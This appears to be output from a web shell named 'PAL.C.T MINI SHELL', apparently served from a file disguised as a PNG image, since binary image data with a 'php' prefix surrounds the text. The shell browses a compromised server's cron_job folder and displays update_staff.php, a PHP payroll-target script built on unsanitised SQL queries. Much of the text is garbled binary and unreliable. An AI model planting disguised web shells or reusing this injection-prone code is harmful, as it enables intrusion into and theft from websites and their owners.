php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/fl/cron_job/
upload
files >> /var/www/html/fl/cron_job/update_staff.php

<?php
	include "../konfig/koneksi.php";
	
	
	$staff = mysql_query("SELECT * FROM staff");
	while($s=mysql_fetch_array($staff)){
		
		$id_staff=$s['id_staff'];
		
		$customer 	  = mysql_query("SELECT * FROM customer WHERE id_staff='$id_staff'");
		
		$total_orderan_bulanan = 0;
		$total_cicilan_harian = 0;
		
		while($r = mysql_fetch_array($customer)){
			$list_orderan = mysql_query("SELECT * FROM list_orderan WHERE id_customer='$r[id_customer]'");
			while($d = mysql_fetch_array($list_orderan)){
				$total_cicilan_harian = $total_cicilan_harian + $d['cicilan'];
				$total_orderan_bulanan= $total_orderan_bulanan + $d['harga_produk'];
			}
		}
		
		mysql_query("UPDATE staff SET target_cicilan_harian = '$total_cicilan_harian', target_omset_bulanan='$total_orderan_bulanan' WHERE id_staff='$id_staff'");
	}
?>

  <script type="text/javascript">alert("Update berhasil");history.go(-1);</script>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`